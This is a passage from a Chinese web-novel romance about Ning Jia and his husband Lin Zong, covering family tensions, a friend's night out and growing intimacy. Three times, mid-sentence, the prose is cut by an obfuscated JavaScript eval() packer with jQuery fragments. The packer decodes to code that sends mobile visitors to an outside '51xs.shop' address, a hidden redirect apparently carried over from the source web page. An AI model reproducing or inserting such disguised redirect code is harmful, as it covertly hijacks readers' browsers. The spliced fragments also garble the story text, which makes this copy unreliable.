林纵点头,和男生说话时他一直用这样冷淡的语调,区别于在宁嘉面前时的柔和:“你去联系这个人,他会给你钱。” 男生走后,宁嘉才往前一步,走到林纵身边,和他并肩走在一起,似乎是很下意识的动作:“学长,你能多给他一点钱吗?” 林纵并不意外宁嘉会说出这样的话:“怎么了?” 宁嘉搓搓衣角,不太好意思,毕竟不是他给钱:“觉得他好像很缺钱的样子,但你又不缺这个钱。” 林纵揉了把宁嘉的脑袋,将人带出去:“那你缺钱吗?” 宁嘉被林纵搭着肩像是搂在怀里的姿势,踉踉跄跄被推着走,后背一直贴着林纵的手臂:“不啊,我其实挺有钱的,”他悄悄说,“还有私房钱。” 林纵问:“刚才是手机关机了?” 话题转移地太快,宁嘉差点没反应过来,震惊:“学长,你看到啦?” 宁嘉一说话,步子就慢下来,林纵拍了拍他:“嗯。” 宁嘉这次是真不好意思了,因为刚刚没有考虑过林纵的感受就播了那段视频,虽然只有很小一段,他轻声说:“就算没有关机,我也没有打算放很多的。” 林纵知道宁嘉的意思:“没关系。” 回去的路好像比来时短了很多,路灯明亮,空气中隐隐带着花香,迎面吹来的晚风是凉爽的,宁嘉却觉得热,身体像个烟囱,无端冒着热气。 过了一会儿,他问:“学长,你生气了吗?” 宁嘉小心翼翼地问,打量着林纵的神色,林纵却仍是那副不咸不淡的语气,似乎事不关己:“我为什么要生气?” 这还要问? 宁嘉心里想着就说出了口:“你要生气的地方可太多了,他这么恶心你,他天天恶心你,上次恶心你,这次还恶心你。”一连串说出口的话不带喘气,“故意找了个像我的人回家,林平生刚刚就看出来了吧,还故意不说,糟老头子坏得很,这么偏心,臭不要脸,坏东西。” 宁嘉气鼓鼓的一肚子火,却像气饱的河豚一样,突然没了架势:“还有我,没经过你允许,就把上次的事情告诉林平生,你明明不喜欢那些事,我还让你回忆了一次。” 宁嘉停下脚步,蔫了吧唧,似乎终于意识到自己的冲动,低声下气:“......用那样的方式。” 看着宁嘉的头顶,林纵没有回答,反而问:“你生气吗?” 宁嘉一顿,撇过脸,继续往前走:“我生什么气啊。” 宁嘉刻意转头,不让林纵看到他脸上的不自然,林纵却毫不犹豫地拆穿他:“因为林少带来的男生确实有点像你。” 说是膈应林纵,宁嘉也没有好多少,他现在非常非常反胃,很后悔没有当场给林少两拳。 很难想象林纵这些年是怎么过来的,碰上这么个沙雕,是怎么才能忍住不动手的。 宁嘉强忍住没有动手,完全是给林纵面子,毕竟他是林纵带过来的,行为太过分只会让林纵不好做。 这真的是宁嘉这些年来少有几次忍辱负重的体验了,像是吃了坨屎。 “真的像我啊?”宁嘉转过头,学着林纵转移话题。 “一点点吧。”林纵很平淡地说。 这让宁嘉本来想调侃的话没能说出口,因为林纵的表情太正经了,像是没听出宁嘉的玩笑,又像是怕他因此误会。 林纵第一眼就发现了,男生的下半张脸有点像宁嘉,只是就一点。男生有着一双和宁嘉完全不同的眼睛,露着胆怯,宁嘉的眼睛却明亮而直白,勇敢又坦荡,勇往直前,毫不畏惧。 看到男生的那一刻,林少在想什么,林纵已经知道了,这么多年了,林少从来没有停止过这些幼稚的把戏,因为从来没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409020|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有找到林纵在意的东西,所以始终乐在其中。 “哦。”得到这样的回答,宁嘉说不清是什么感觉。 却听见林纵说:“不要生气,我会帮你报仇的。” 林纵一本正经的、面无表情地说出这么幼稚的话,宁嘉觉得很有意思,调侃他:“怎么报仇啊?” 尾音拉得长长的,玩笑的语气。 林纵的语调像是在讨论晚饭:“生意上使点绊子而已。” 这话说的,宁嘉突然好奇:“......亏谁的钱?” 林纵没有正面回答:“反正不是我的。” 那就是林平生和林少的。 “......哎,好。” 就,挺好的。 在林家待了大半天,晚饭也没能吃上,眼瞅着大门口快到了,宁嘉没话找话地说:“学长,刚刚那果汁挺好喝的。” 林纵很好地理解宁嘉的潜台词,看了看时间:“夜宵吃吗?想吃什么?” 突然又发现原来林纵讨论晚饭的语气是这样的,还是有差别的。 以前生活过得平淡,过一段时间总会有想要吃的东西,但宁嘉这段时间过得太好了,每天吃饱喝足睡好,阿姨还变着法子给他做好吃的,感觉自己日渐肥胖。 宁嘉搓了搓脸上的肉,一本正经地看向林纵:“学长,你看我胖了吗?”他一胖先胖脸。 闻言,林纵抬起手,两指捏着宁嘉的下巴,左右看看,打量,冷酷道:“没有。” 宁嘉哭笑不得:“我感觉你在看一头不值钱的猪。” 林纵笑了笑:“猪没有不值钱的。” 宁嘉说:“我不值钱。” 林纵差点忘了,上了车打开空调,想起来问:“手机是没电还是坏了?” “嗯?”宁嘉差点没明白,听懂后讲了个冷笑话,“没电,电池状况不太健康,有时候心情好就自动关机了。” 林纵便问:“给你买个手机要吗?” 宁嘉说:“不要啊,我也不是买不起,就是觉得还能用用。” 林纵:“好,那就不买,我办公室有多,送你一个。” 宁嘉听乐了,没想到学长还能来这招:“在这等我呢。” “被你拒绝惯了。”林纵淡淡道。 “怎么可能。”宁嘉根本不承认。 林纵问:“吃夜宵吗?” 宁嘉立马:“好!” 路上,宁嘉还是没忍住问:“学长,你真的没有生气吗?” 开车不好分心,过了一会儿,林纵才说:“还以为你不会问了。” 宁嘉抓着安全带,想要抓着点什么才好接着往下说:“怕你会不开心。” 以前不问是怕林纵会不开心,今天问了还是会林纵不开心。 因为宁嘉也在场,因为他也陪林纵经历了那些不好的事情,说出口,大概会比什么都不说强。 宁嘉也不是完全不懂,他的人生也曾经一团糟,实在是太明白那样的感觉了。 “生气的,”林纵用他惯有的语调说,“但也不是第一次发生这样的事,所以是真的不在意。” 汽车平稳地行驶在夜色中,林纵的声音像夏夜晚风一样温柔:“你不让我提,但闻凯总说,谁让我们是私生子,这其实是有道理的,我们确实低人一等,因为私生子的身份。” “林少讨厌我,是觉得我破坏了他原本圆满的家庭;我讨厌林少,是因为在这件事上我也是受害者,并不能选择什么。” “所以我从来不觉得亏欠谁,不想理只是因为不在意。” 很少听见林纵说这样的话,宁嘉看向林纵的侧脸,莫名说不出话。 林纵偏过头看着宁嘉的眼睛,把他最后一句话说完:“这次是生气的,因为我在意你。” 因为林少做的事林纵不在意,所以从来不生气。 因为林纵在意宁嘉,而林少掺和上了宁嘉,所以林纵生气。 像做了一道阅读理解,因为终于理解了林纵的意思,所以宁嘉脸热的噗噗冒烟,像个大烟囱。 30. 第 30 章 晚上睡觉前,宁嘉缩在被子里,对即将要上床的林纵说:“学长,其实你也不用很生气,林少现在才是真的气死了。” 想到离开时那两人的脸色,宁嘉就觉得解气。 可他偏偏又是气着的,因为自己的原因少一点,更气的是林家人竟然这样对学长。 宁嘉整张脸藏在被子里,只露出一双眼睛,偏偏耀眼的像一道光,照得林纵在暗夜中无处遁形,哪里都逃不了。 “嗯,你做得很好。”宁嘉他学长这样说。 不是没想过去报复这些事,可从头到尾,林纵都站在制高点,置身事外地看待他和林家人的关系。当年来,不是他所愿,这些年没走,也不是他情愿,于是没有必要的事从来都不去做,他们并不是一路人。 宁嘉确实做的很好,不管那些行为是否适合成年人,是否有不尊重的意思,是否真的合情合理,林纵都觉得很对,不是满足自己的报复心理,而是确实该让林家父子吃一次瘪,无论是谁。 林纵关了灯,房间里暗下来,躺上床,宁嘉下意识背过身,往床沿挪,和林纵不太熟似的,总是客客气气的。 “转过来。”林纵说 这么突然? 每天都这么睡的,今天怎么被安排了? 宁嘉决定装听不见:“......” “这么好睡?”林纵波澜不惊地问。 宁嘉平稳地呼吸,就很稳。 林纵抄过宁嘉的腰,直接把人翻过来,宁嘉感受到了一股热度,从面对面的林纵身上传来,不得不睁开眼:“......学长,怎么了。” 演技就很哇塞。 林纵放开他,没想要做什么,语气淡淡:“就这样睡,别老用屁股对着我。” 大半夜的,孤男寡男,同睡一张床,这话怎么听怎么不对。 林纵:“......” 宁嘉:“......” 晚上在车里说的那句话还是有一点影响的,宁嘉这会儿有些说不出口的不自在,但又不是不舒服,就觉得别别扭扭的,好像有哪里不对,偏移了既定轨道,又不是很糟。 “睡吧。”林纵的声音听起来有些无奈。 “好的。”不能转身,宁嘉就挪着屁股往后退。 宁嘉没有料到,事情竟然会这样发生,等到他稍微有点意识的时候,林纵已经圈着他,把他整个人往怀里带,皮肤隔着薄薄的布料紧紧相贴,林纵的鼻尖在他脖颈处轻蹭,似乎嗅了嗅。 宁嘉麻了,一整个僵住,像被野兽叼住了致命部位,随时可能丢掉性命,惊慌失措之下瞬间起了一层冷汗,皮肤上冒着细小的疙瘩,不想动,又忍不住缩紧脖子,下巴碰到了林纵的脸。 “......学,学长,怎么了啊。” “看看你是不是宁嘉,”暗夜里,林纵的声音显得含糊不清,“晚上和人吵架时候的胆子去哪里了。” 宁嘉欲哭无泪,推又不敢推:“那能一样吗?” 突然,林纵咬了宁嘉一口,叼着他脖子上的软肉轻轻舔舐,顷刻间宁嘉头皮发麻,手搭住林纵的肩膀,用力地握紧,有一种将要英勇就义的勇猛。 林纵却松开了他,在那个位置又亲了一口,恢复了正人君子的做派:“睡吧。” “.....学长,你要不松开我一点呢?”宁嘉动了动,林纵的手还搭在他的腰上,两人贴得很紧,过分紧。 就着这样的姿势,林纵拍了拍他的腰,像是一种警告,语气强硬得可怕:“就这样睡。” 宁嘉:“......” 怎么了嘛这是,为什么要这样对我。 宁嘉如今的工作是偏金融贸易类的,有时候需要动动嘴皮子和客户说些有的没的,最开始宁嘉没打算来这家公司,是对方先投来了面试邀请,当时宁嘉正被找工作的事弄的头大,本着破罐子破摔的原则,随便过来看看,没想到最后竟然留了下来。 公司大部分都是女生,宁嘉参与进来倒是不用体验什么宫斗宅斗各种斗,因为他上班第一天就自爆已婚。 这天宁嘉刚写完一张单子,同桌滑着转椅过来,一脸我和你哥俩好的表情:“宁嘉,这两天来接你那个人是谁啊?” 宁嘉装不明白:“哪个?” 同事说:“开豪车的那个呀,我看开车的是男的,是你家司机吗?” 宁嘉无语了:“就来了两回,你看那么仔细啊?” 林纵只接了宁嘉两回,周三的时候,宁嘉说什么都不肯让林纵接了:“公司楼下就是公交站点,我可以自己回家,学长,你不要浪费时间来接我了,怪麻烦的。” 当时两人正在吃早饭,林纵把牛奶倒半满,杯子递给宁嘉:“接你不是浪费时间。” 宁嘉还处于不敢直面林纵眼神的时候,眼珠子胡乱转了转,嘀嘀咕咕道:“反正我可以自己回家的。” 林纵也就没有勉强宁嘉,公司里事情确实多,闻凯那边也有项目要忙,有几天没有见面了,需要处理的东西不少。 “知道了。” 同事眼巴巴点头:“本来一坨小鲜肉进来,我们还可以调戏几天呢,谁让你第一天就说自己结婚了啊,好奇死了,是哪个富婆把你拿下了。” “......”宁嘉听笑了:“你怎么就知道是富婆啊。” “不是富婆,那你就是富家少爷出来体验生活。”同事打量着宁嘉的穿着,他是知道的,宁嘉从来没有穿过牌子货。 宁嘉没回答,只是摇摇头。 同事就有些拿不准了:“那个男的不是你家司机?” 宁嘉笑了笑,继续收拾文件。 同事扩散思维,想了半天,问:“那你和他是什么关系?” 今天是周五,江软已经找了宁嘉好几天了,无论如何今天也要约宁嘉出来见面。 于是这一天下班,同事眼睁睁看着公司楼下来接宁嘉的人又换了一个,惊出了一声国粹:“天呐,原来他真是富家少爷啊!” 江软提前翘班了,因为受够了这没完没了上班的日子,迫不及待来找宁嘉寻找快乐。 两人一起吃了晚饭,结束后赖在包厢不走:“赶紧赶紧,吃鸡了。” 宁嘉把下班前特意充满电的手机拿出来,江软在邀请好友的时候瞥了一眼,发现宁嘉终于有了点磅上富豪的样子:“哟,换手机了?” 宁嘉扬眉:“学长给的。” 江软:“还以为你莫名其妙的自尊一定不会要。” 宁嘉问:“你哪看出来的?” 江软说:“上次林纵送我的车回来,你不是还说要给他出加油费吗?” 宁嘉全然不顾江软死活,幽幽道:“主要是现在好算得清,以后好清算。” 江软差点喷了,手一抖索,跳了飞机:“恩?您什么意思,我怎么听不明白呢。” 宁嘉跟着跳了,心平气和:“朋友一场,你不傻的。” 江软:“我傻的。” 宁嘉:“你不傻。” 江软呵呵:“我这样的人不配当你朋友,自从你结婚后,我的消息都是轮回的吧?” 这话说的,宁嘉多冒昧啊:“没,怎么可能,就是太忙了。” 江软在空中多飘了一会儿,等着宁嘉,标记了地点:“跳这里。那你倒是解释解释,最近在忙什么?” 宁嘉慢慢荡过去:“周末搬家,周一在家整理行李,周二陪学长回家吃饭,周三周四在家里帮富贵搭猫窝,今天还是抽出时间和你出来的。” 江软寻找着跳伞地点:“我还得谢谢你,上车。”紧接着往目的地开,“你去林家了?” “对啊,”想起那天的事,宁嘉还是很不爽,“林少也在。” 江软听宁嘉说过,之前林少企图搅黄他和林纵的婚事,结果被宁嘉一通暴打,两人因此结下了仇:“你们没打起来?” “有啊,”这个地点没人来,宁嘉和江软分别搜索马路两侧的房子,“差点打起来了。” 江软:“仔细说说。” 宁嘉说:“林少带了个长得像我和男生回来,还故意叫他嘉嘉。” “我操!”宁嘉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13425962|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的反应果然不出宁嘉意料,“这你能忍?” “不能忍!”宁嘉终于找到机会说了,“我当场摔了筷子指着他的脸把他骂得狗血淋头,还把他老子也骂进去了。” 江软:“......你骂他老子,林纵肯?” 宁嘉一顿,想到有些事情江软不知情,迅速转移了话题:“我妈这星期给我打了四个电话,你猜她想干吗?” 江软被转移了注意力,比起林少,他对吴良仁简直是深恶痛绝,毕竟听宁嘉说了这么多回,和自己亲身经历也差不了多少。 “喊你回家吃饭了吗?”江软问。 “是让我去吃饭了,”宁嘉说,“打了两天电话,我刚好都没空,周三打了一个没接到,昨天又打过来了。” 江软眉头一皱,发现事情并不简单:“你妈的母爱有那么纯粹吗?” “没有,”宁嘉很痛快地说,“一个星期能打一个电话都不错了,有什么饭是非吃不可的?” 读大学的时候就是这样的联系频率,见不上面就通个电话问一问近况,最近几次打电话就是喊宁嘉回去吃饭,可能是觉得有些话可以见面说,所以电话里总是问宁嘉什么时候有空。 这片区域都没有人,两人搜索的十分无聊,江软想到问:“昨天电话接到了?” “接到了。” “你妈也是让你回去吃饭?” “差不多吧。”宁嘉说,但当时的通话并不是这样的。 许诗瑶接连几次约不到宁嘉的人,昨天打电话更是没有人接通,事后也没有被回拨,周四那天再联系上宁嘉的时候,语气中带着十分明显的局促与不安。 谈话时又是带着笑意的:“好久没有见到你了,是不是在躲着我啊?” “我躲你干什么?”长这么大,宁嘉还是第一次和他妈绕弯子,“上班忙啊,怎么了。” 许诗瑶倒是难得不和宁嘉兜圈:“想让你回家吃个饭,叔叔有话和你说。” “他有什么话非要和我说?”宁嘉逗着猫,不太在意地说。 这些话本来应该等到宁嘉回来后,由吴良仁和他说的,但是宁嘉一直没空回来,吴良仁又很着急,许诗瑶便想着替吴良仁转达意思。 “叔叔说他公司那边有个项目想要投入,资金上有一点短缺,想让你和小纵说说呀,能不能借一点钱。” 富贵是一只有着狗脾气的猫,宁嘉想和它玩的时候,从来都是高冷的,宁嘉没空理他的时候,总是扭着尾巴往宁嘉身上绕。 因为富贵的谄媚,宁嘉的心情平复不少,淡定地问:“妈,你真的不觉得这人有点问题吗?” 许诗瑶问:“怎么了呀?” 宁嘉质问道:“他没有钱不找自己儿子借?找你儿子借?我和他什么关系?比他和自己的儿子更亲?” 许诗瑶显然也是没想通这一点,但不妨碍她替吴良仁讲话:“小华毕竟有自己的事情要做,叔叔找他借钱不方便的。” 这话给宁嘉听笑了:“林纵没有自己的事情要做?就因为他是别人的儿子,吴良仁就可以这么随意地对他。” 许诗瑶被怼的没有底气,仍然坚持:“你们都结婚了,有条件的话帮一下叔叔也没有关系啊,都是自己人。” “谁和他是自己人,”宁嘉没控制住音量,“妈,你说起这个我倒想问问,吴良仁不是说要和你结婚吗?日期还没定好吗?” 每回想起来都知道不能惹许诗瑶生气,事后反省才明白通话又不欢而散。 想到这里,宁嘉重重叹了口气,江软一枪打爆了玩家的三级头:“怎么了?” “累觉不爱了,软软。” 江软:“?” “我有点想学长了。” 江软:“滚!” 可是真的是这样的,宁嘉也觉得奇怪,以前碰上这些不开心的时候总是会自己生气,又或者告诉江软后,让江软帮自己一起生气。 可是真的好奇怪,这一刻,宁嘉很想要和林纵说一说这些事情,让林纵摸摸他的头发,和他说一句“没关系”。 31. 第 31 章 宁嘉突然想起来和江软说:“我同事今天问我和学长是什么关系。” 江软听乐了,食指弹了下宁嘉脖子上那点暧昧的红痕:“你怎么回答的?” 宁嘉吃痛,捂着脖子,表情有一点囧。 这不是林纵三天前咬的牙印,不知道怎么了,从那天开始,每天睡前林纵都要按着宁嘉在床上啃一啃,也没有更近一步的动作,那双大手最多只是摸摸宁嘉的脖子和耳垂。 只是宁嘉年纪轻轻血气方刚,差一点在夜色刚好的晚上控制不住自己。 同事下午也看到了这个红痕,调侃:“你们家那位可真野。” 宁嘉说不出来话。 江软乐得枪都架不稳了:“都是结了婚的人了,怎么还这么纯情?什么年代了,就算你当场出柜,也吓不到她们,指不定一个比一个兴奋。” 宁嘉:“......” 宁嘉也是有一点忧愁的:“她们天天问,不回答的话好像总有人在好奇。” 江软被人狙死了,放下手机,给宁嘉出主意:“教你个好办法。” 宁嘉虚心受教:“什么?” 江软指指宁嘉的脖子:“让你学长别啃了。” 宁嘉一整个脸爆红。 江软接着说:“你就说你们离婚了,正在和别人搞婚外情。” 宁嘉:“离了婚还有婚外情?” 江软:“正在离婚咯,不是还有冷静期吗?” 宁嘉:“......” 宁嘉还在苟,手机递给江软让他继续,自己靠在椅子上思考人生,突然,语出惊人:“你说我去买个戒指怎么样?” 江软:“对戒?” “啊,”宁嘉倒是没想过,“我自己带不行吗?结了婚戒指带哪里?食指中指?” 江软翻了个白眼,没好气地说:“大拇指!” 宁嘉:“......妖孽休要骗我!” 宁嘉的号也死了,两人退出游戏,重新开了一局。 城南酒吧的另一位老板很久没有来过了,架子鼓积了层灰,酒架上收藏的红酒也很久没有动过了。闻凯嫌一个人喝酒无聊,自从林纵被宁嘉骗走了,他已经很久没有出门厮混了。 “今天有空约我?”闻凯喝着酒,气得直哼哼。 宁嘉说晚上陪江软,林纵回家也没事干,这才想到闻凯,这事也不是不能说:“宁嘉不在家。” 闻凯气噎:“你他妈不说实话会死?” 林纵斜了他一眼,莫名奇妙,说实话还有错? 闻凯撇撇嘴,心知说了也白说,不如别说:“林少最近是不是不好过?听说丢了好几个项目。” 林纵事不关己:“应该吧。” 闻凯:“?” 林纵:“我弄得。” “看着像你的手笔。” “嗯。” 闻凯疑惑:“怎么回事,也没听你提过,突然这么着急?” 林纵给闻凯倒了杯酒,漫不经心道:“手抖了。” 闻凯嘴角一抽:“毛病。” 酒吧灯光闪烁,驻场歌声柔和,假期的影响下,今晚客流量都比平时多了不少,闻凯抬抬下巴,指着角落:“来吗?” 林纵翻过盖在桌上的手机看了一眼:“不来。” 闻凯眼睁睁看着林纵把这套动作做完,怒而拍桌:“从进来起你就看手机,看个什么?” 林纵放下手机,冷漠地看着他:“等着宁嘉给我发消息,他回家了,我就走。” 闻凯:“?长得帅,就可以不讲素质的吗?” 林纵很淡地笑了下。 闻凯简直见鬼了:“你好,真的是林纵吗?” 林纵没理他。 闻凯瞅瞅手机,忽然心生一计:“周末要不要出来玩?” 林纵抬眼看他:“干什么?” 闻凯心说有戏,立马来了兴趣:“你是不是没谈过恋爱?”他反应过来,“哦,你确实没有。” 林纵:“?” 闻凯说:“谈恋爱不需要出去玩的吗?天天在床上玩吗难道?” “找个度假村玩玩,游泳漂流泡水,每天在同一个地方见同一张脸是会看腻的啊。” 婚姻使闻凯见鬼,因为林纵对闻凯的提议看起来很感兴趣的样子。 妈的。 江软和宁嘉还在餐厅里没走,两人把餐厅当网吧,坐在长沙发上激情手游,火热对战的时候,江软的游戏角色突然不动了,被人连崩三枪死得透透的。 宁嘉不解,才望过去,就见江软接起电话,拿到耳边:“爸。” 宁嘉紧急关闭音效,结果他的手机也响了,屏幕上显示了一串来自予市的电话号码,没有存备注,但宁嘉知道对方是谁。 曾经在许诗瑶和吴良仁感情还不错甚至宁嘉觉得可以祝福他们的时候,宁嘉也和吴良仁通过几次电话。 是吴良仁主动要了宁嘉的联系方式,在某次联系不到许诗瑶的时候很着急的联系了宁嘉:“你妈妈在家吗,打电话没人接。” 那一刻宁嘉的感觉是很怪异的,因为吴良仁是外人,而通过电话问宁嘉妈妈在哪里的从来都只有一个宁父。 让宁嘉感到悲哀的不止是父亲的离去,还有他必须要接受,除了他的原生家庭之外,还会有别人参与到他的人生中来,尽管那个人的出现或许是一件好事。 后来,宁嘉知道吴良仁不是好东西的时候,吴良仁也很聪明地和宁嘉保持着合适的距离。 但宁嘉记得吴良仁的手机号码,那一串不算熟悉却被记得的数字,此刻正闪烁在手机屏幕里。 江软已经接完电话了,偏头,见宁嘉对着手机发呆:“怎么了,不接吗?” 宁嘉说:“是吴良仁。” 江软大骂:“妈的,接个鸟蛋。” 宁嘉凉凉笑了下,把手机丢到一边,等着他自动挂断。 江软不屑的目光从手机上收回:“我得回家一趟,我爸喊我呢。” 江软和大多数富家子弟一样爱玩,差别不同的时候,他非常听家里的话,虽然行事偶尔无度,但家人是底线,无论江软在多远的地方,和谁在一起,家里一个电话总能把他叫走。 “嗯,那你回去吧。”宁嘉被吴良仁的电话搞得很不爽,情绪表现在脸上,很难有好脸色。 江软打量着宁嘉的表情:“先送你回去?” “不用,”宁嘉还是不高兴,“别搞得我是小姑娘一样,回家不会打车吗,还要你送?” 宁嘉也知道宁嘉一个人回去没什么问题,只是他这会儿毕竟心情不太好,不知道怎么想的,说:“不开心的话,可以和你学长聊聊天,他在哪?” 果然,宁嘉微动,似乎很看好江软的建议,江软放心地走了。 江软把宁嘉带到了类似私家小院的地方,空气清新,星空明亮,唯一的缺点是,这地方似乎很偏,前不着村后不着地,宁嘉南北不分,根本不知道自己在哪里。 好在宁嘉也不急着回家,独自在路上晃荡许久,偶尔经过几辆私家车,头也不回地驶过,直到明月照亮望不到尽头的远方,宁嘉才有点想家了。 宁嘉在好友列表里滑拉,消息第一条是在岩市工作时公司的同事群,他还没有退,里头都是些与工作无关的闲聊,宁嘉也有点舍不得退,也不知道这样做对不对。 再往下是如今公司的工作群,有人约着周末出去玩水的事,因为天气实在太热了。 第三个才是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434630|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林纵,是宁嘉傍晚时发的消息:学长,我晚上晚点回家,江软约我出去玩。 经历过上次的事情后,宁嘉也学会了和林纵报备,下班时间都过了,宁嘉才收到林纵的回复,就两个字——好的。 手指在键盘上点点,连宁嘉本人都没有反应过来的时候,消息已经发出去了:学长。 林纵不知道在干什么,消息回的很快:怎么了? 林纵回复得太快,宁嘉反而有点不知道该怎么回了,琢磨片刻:江软回家了。 林纵明白了宁嘉的处境:你一个人吗? 宁嘉:嗯。 不等宁嘉说话,林纵又问:在哪里? 宁嘉:我也不知道。 林纵:发定位,我去接你。 宁嘉没有理会林纵的话,抬头望着月光,和那抹永远皎洁的月亮干瞪眼,直到眼睛都发酸了,才低头:我就是想说,我有点想你了。 不知道为什么,但是真的想林纵了。 不是因为身处陌生的地方打不到车,也不是路太长太难走,宁嘉只是有点想林纵了,毫无缘由的,因为想了,所以就要告诉林纵。 有出租车停在宁嘉身侧,司机摇下车窗:“老板,打车吗?” 宁嘉低头看看他这一身破布,笑问:“我像个老板啊?” 他语气俏皮,司机给听笑了:“能让我赚到钱都是老板。” 宁嘉笑起来,像是雨过天晴那样,脸上洋溢着足以感染旁人的笑容:“我没有钱,但是我老板要来接我了。” 司机笑着开走了。 带着这样的心情,宁嘉在路上走了很长一段时间,对着地图上的指示,慢慢朝朝家的方向走。 但宁嘉所处的地方实在太偏了,外头的车开进去都要好一番功夫,而林纵本来在的地方和他似乎是两个方向。 过了将近一个小时,林纵才接到宁嘉,这个地方林纵来过,宁嘉此时站的路口距离餐厅有很长一段路。 宁嘉打开车门进来,见到林纵的时候笑容还没收:“学长,我等了你好久。” 那一刻林纵不知道该怎么形容自己的心情。 他也曾等过宁嘉,每一次都等了很长时间,等待的时间漫长,他不厌其烦,却从来不是雀跃的。 林纵打着方向盘,汽车拐了个弯,往家的方向驶去:“这地方是有点偏,没有出租车经过吗?” “有啊,”宁嘉很开心地说,“但是你不是要来接我吗?我要等你的啊。” 宁嘉好像很快乐,等待林纵这件事让他觉得愉悦。 他甚至抛弃简单的、可以马上回家的方式,一个人在路上走了很久。 在林纵向宁嘉靠近的时候,宁嘉也在向林纵走过来。 林纵说:“这里有点远,我和闻凯在城北的酒吧,路上花的时间长了一点。” 听到这里,宁嘉拉着安全带靠近林纵,像林纵最近几次那样也靠近林纵轻嗅,鼻尖动了动:“学长,你喝酒了吗?” 林纵终于知道宁嘉为什么要躲了,那是一种无法抑制的心动,却镇定自若地回答:“没有。” “啊,”宁嘉的心情应该是真的很好,尾音拉长着,像是在撒娇,“去酒吧不喝酒吗?” 宁嘉遗憾地把脑袋收回去:“我要是酒精不过敏一定喝他个三天三夜。” 林纵不动声色地缓了一口气:“叫代驾麻烦,我想早点回家。” 宁嘉替林纵感到遗憾:“那能等多久啊,最多十几分钟,就可以拥有一晚上的快乐了。” “但是就不能来接你了。” 宁嘉以为自己幻听了:“什么?” 红灯停,林纵脚踩刹车,看向宁嘉:“我想早点来接你。”一分钟都不想等。 32. 第 32 章 不出意外的情况下,林纵回家后都会先去书房,整理当天是否有遗漏的以及晚上是否有新发来的邮件,所以宁嘉每回洗澡都比他快一点,每次林纵洗漱完回房间,总看见宁嘉盘着腿坐在床上,有时候是打游戏,有时候是打瞌睡。 林纵手拿毛巾擦着自己的头发,手臂上还搭着一条毛巾,沾湿的毛巾丢到一旁,干净的毛巾盖在宁嘉头顶:“怎么老是不吹头发。” 宁嘉困得眼睛都睁不开了,还要朝林纵笑:“吹头发麻烦,等等就干了。” 林纵很粗鲁地搓着宁嘉的头:“那也要用毛巾擦干。” 宁嘉的头跟着林纵的动作晃来晃去:“那还要多洗一条毛巾。” 林纵问:“不是有洗衣机?” 宁嘉想想也是,他困得半死,稀里糊涂地回答:“那就是多晒一条毛巾。” 林纵无语了,插上吹风机替宁嘉把头发擦干,揉了一把他的脑袋:“困了就睡。” 这感觉对了,宁嘉想了一晚上,就想被林纵揉这么一下,顿时神清气爽。林纵还来不及把吹风机放回抽屉,宁嘉的脑袋就靠了过去,枕在他的腹肌上,想说什么已经忘了,颇为感叹:“学长,你这腹肌哪来的。” 宁嘉总是大晚上撩拨人,偏偏本人还总是无知无觉的,林纵无奈:“健身房里练的。” 宁嘉侧着脑袋蹭了蹭,声音轻得快飘走了:“硬邦邦的,感觉很不错。” 林纵:“......” “宁嘉。” “什么?” 林纵语气淡淡:“我有没有说过让你别在大晚上撩我?” 宁嘉一顿,默默后退,嘴上还不忘嘀咕:“小气鬼,肌肉练了不给摸。” 林纵轻嗤一下,伸手要去捞人。 宁嘉眼疾手快钻进被窝:“睡了睡了,明天还要出去玩呢,要早起的。” 这样看起来,宁嘉好像也不傻,至少他知道如果被林纵抓住那一下,这个晚上是不用睡了。 晚上回家的路上,林纵和宁嘉提起明天出去玩的事,他没有立刻答应闻凯,要问过宁嘉的意思后才决定去不去,宁嘉在车里摇头晃脑地放DJ,问道:“去哪里啊?” 林纵把声音调小了一点:“没细问,闻凯挑的度假村。” 宁嘉问:“就我们三个吗?” 林纵:“?”他什么时候说过要带上闻凯了。 林纵说:“你也可以带上江软。” “是吧是吧,”宁嘉很开心,明天是周末,放假就算了,还可以出去玩水,简直到达人生的巅峰,“那我问问他去不去。” 消息发出去,宁嘉关闭屏幕,想到说:“他今天都说我了,最近都不和他一起玩。”说到这,宁嘉转念一想,“不过好像结了婚的人都是比较忙的,我以前的朋友就不和我玩,聊天都隔天才回。” 第二天是大晴天,予市长达半个月的雨季过去,天气转晴过后,每一天,这座城市都在遭受高温的迫害。 林纵起得比宁嘉早,等到宁嘉起床,下楼吃早餐的时候,正好听到江软骂骂咧咧进门的声音:“搞什么,不是要出去玩?少爷我还得等贵妇起床?” 